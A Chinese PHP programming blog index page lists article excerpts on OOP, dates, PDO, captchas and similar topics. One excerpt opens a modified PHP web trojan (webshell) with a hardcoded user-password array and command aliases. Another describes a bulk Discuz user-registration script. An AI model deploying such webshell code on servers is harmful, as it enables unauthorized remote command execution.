php技术

php技术

php面向对象全攻略 (十五) 多态的应用

阅读(8) 作者(admin)

多态的应用 多态是除封装和继承之外的另一个面向对象的三大特性之一,我个人看来PHP 中虽然可 以实现多态,但和C++还有Java 这些面向对象的语言相比,多态性并不是那么突出,因为PHP 本身就是一种弱类型的语言,不存在父类对象...

php技术

PHP parse_url 一个好用的函数

阅读(16) 作者(admin)

举例子如下: 复制代码 代码如下: $url = "http://www.electrictoolbox.com/php-extract-domain-from-full-url/"; $parts = parse_url($url); 输出: 复制代码 代码如下: Array ( [scheme] => http [host] => www.ele...

php技术

php面向对象全攻略 (十七) 自动加载类

阅读(12) 作者(admin)

自动加载类 很多开发者写面向对象的应用程序时,对每个类的定义建立一个PHP 源文件。一个很大 的烦恼是不得不在每个脚本(每个类一个文件)开头写一个长长的包含文件的列表。 在软件开发的系统中,不可能把所有的类都写在一...

php技术

PHP 字符串分割和比较

阅读(15) 作者(admin)

或者使用strcmp来判断,但是这个能够告诉你两个字符串是否相等,但是无法告诉你在那里不同。 我的思路是单字符串分割为一个个字母(character),这样比较就能精确知道在那个位置不同了。 分隔字符串,使用“str_split”就可以...

php技术

PHP 日期时间函数的高级应用技巧

阅读(12) 作者(admin)

PHP的日期时间函数date() 1,年-月-日 echo date('Y-m-j'); 2007-02-6 echo date('y-n-j'); 07-2-6 大写Y表示年四位数字,而小写y表示年的两位数字; 小写m表示月份的数字(带前导),而小写n则表示不带前导的月份数字。 echo...

php技术

PHP 日期加减的类,很不错

阅读(16) 作者(admin)

如何使用这个类呢?请看下面的演示: 复制代码 代码如下: $temptime = time(); echo strftime ( "%Hh%M %A %d %b" , $temptime ); $date = new DateAccount(); $temptime = $date ->DateAdd( "n" ,50, $temptime ); echo...

php技术

Ha0k 0.3 PHP 网页木马修改版

阅读(11) 作者(admin)

复制代码 代码如下:<?php //此处可设置多个用户 $passwd = array('ha0k' => 'ha0k', 'hackerdsb'=>'hackerdsb'); /* 此处设置命令的别名 */ $aliases = array('ls' => 'ipconfig', 'll' => 'ls -lvhF'...

php技术

关于页面优化和伪静态

阅读(15) 作者(admin)

关于页面优化和伪静态

1)版面优化 2)伪静态(重点涉及apache,smarty,正则)

详细内容:

一、版面优化: 版面优化其实主要涉及HTML,JS,CSS,XML之间的关系(XML相关在此不作描述). 1)一般来说,在资源共享的前提下,我们...

php技术

PHP iconv 函数转gb2312的bug解决方法

阅读(19) 作者(admin)

iconv( "UTF-8", "gb2312//IGNORE" , $FormValues['a'])

ignore的意思是忽略转换时的错误,发现iconv在转换字符"―"到gb2312时会出错,如果没有ignore参数,所有该字符后面的字符串都无法被保存。

另外mb_convert_enco...

php技术

PHP 身份验证方面的函数

阅读(11) 作者(admin)

复制代码 代码如下:<?php // 计算身份证校验码,根据国家标准GB 11643-1999 function idcard_verify_number($idcard_base){ if (strlen($idcard_base) != 17){ return false; } // 加权因子 $factor = array(7, 9, 10,...

php技术

使用zend studio for eclipse不能激活代码提示功能的解决办法

阅读(19) 作者(admin)

其实这是项目没有经过zend studio for eclipse 编译(应该是建立索引吧)导致的,那么就只要让它重新编译项目代码即可。 操作如下: 随便新建一个项目,比如test。然后找到test项目所在的目录,把目录下的.cache和.setting都复制...

php技术

用mysql触发器自动更新memcache的实现代码

阅读(16) 作者(admin)

mysql 5.1支持触发器以及自定义函数接口(UDF)的特性,如果配合libmemcache以及Memcached Functions for MySQL,就能够实现memcache的自动更新。简单记录一下安装测试步骤。安装步骤安装memcached,这个步骤很简单,随处可见...

php技术

基于OpenCV的PHP图像人脸识别技术

阅读(17) 作者(admin)

openCV是一个开源的用C/C++开发的计算机图形图像库,非常强大,研究资料很齐全。本文重点是介绍如何使用php来调用其中的局部的功能。人脸侦查技术只是openCV一个应用分支。 1.安装 从源代码编译成一个动态的so文件。 1.1...

php技术

php 数学运算验证码实现代码

阅读(15) 作者(admin)

复制代码 代码如下:<?php //------------------------------------- // 文件说明:数学运算验证码 // 文件作者:Jesse Lee // 最后更新:2008-09-07 //-------------------------------------

session_start();

$sessi...

php技术

封装一个PDO数据库操作类代码

阅读(17) 作者(admin)

复制代码 代码如下:<?php /**  * 数据库PDO操作  */ class MysqlPdo { public static $PDOStatement = null; /** * 数据库的连接参数配置 * @var array * @access public */ public static $config = array(); /**...

PHPLog php 程序调试追踪工具
php技术

PHPLog php 程序调试追踪工具

阅读(12) 作者(admin)

原理:

1.程序执行的过程中,在相应的地方记录你想要追踪的变量及调用栈和每次函数调用的参数, 把这些信息以一定的格式记录到文件,一个变量一行,具体数据格式请参看代码,这里不细讲.

2.现在有了每次...

php技术

php 从数据库提取二进制图片的处理代码

阅读(9) 作者(admin)

image.php文件 复制代码 代码如下: <?php $conn=@mysql_connect("localhost","root","123") or die("服务器连接错误!"); //链接数据库 @mysql_select_db("upload",$conn) or die("未发现数据库!"); $query="select *...

php技术

PHP 分页类(模仿google)-面试题目解答

阅读(16) 作者(admin)

笔试回答的不太好,特别是JS部分,也是许久都没复习的原因。 上机题目是要写一个仿google分页的类,当要取类似9/2的最大整数,却怎么也想不起函数ceil的名字,晕了半天。 最后测试程序没错误,但是就是不能正常显示,后来(回家后)一...

php技术

frename PHP 灵活文件命名函数 frename

阅读(14) 作者(admin)

对付这种情况,有的做法是用时间戳对新文件进行重新命名,有的是用序号递增的方法,为了解决麻烦的操作,我在最近编写了一个frename函数,可以灵活依据自定义的规则取得上传文件的新命名,特此分享。复制代码 代码如下:<?php fun...

php技术

Discuz 6.0+ 批量注册用户名

阅读(23) 作者(admin)

1.将adduser.php复制到discuz根目录下; /--adduser.php内容如下--/ <? php require_once './include/common.inc.php '; //注册的名字 $user_list = file('./username.txt '); //注册的密码 $a = "12345678"; $pwd = m...

php技术

火车头discuz6.1 完美采集的php接口文件

阅读(22) 作者(admin)

PS:对原文件的修改较大,程序中注释已经很详尽,这里就不多说了。 复制代码 代码如下:<?php // header('Content-Type:text/html;charset=UTF-8'); //if(function_exists("mb_convert_encoding")){ // $tmp = checkAndTra...

php技术

火车采集器 免费版使出收费版本功能实现原理

阅读(8) 作者(admin)

hi 各位免费火车头采集器的采友: 火车头免费版本不支持采集结果的外挂处理,比如采用php来辅助处理结果,而火车头本身对于正则表达式的不完整支持, 导致对于采集一些有混淆文字的内容效果不好,那么咱们怎么做到过滤那些混...

php技术

使用php来实现网络服务

阅读(9) 作者(admin)

作者:samisa 以下文中的翻译名称对照表 : payload: 交谈内容 object: 实例 function: 函数 使用 php来实现网络服务 使用框架: WSO2 WSF/PHP 安装环境: windows 或者 linux (厌恶于眼下计算机文章夹杂无数难懂的翻译以及...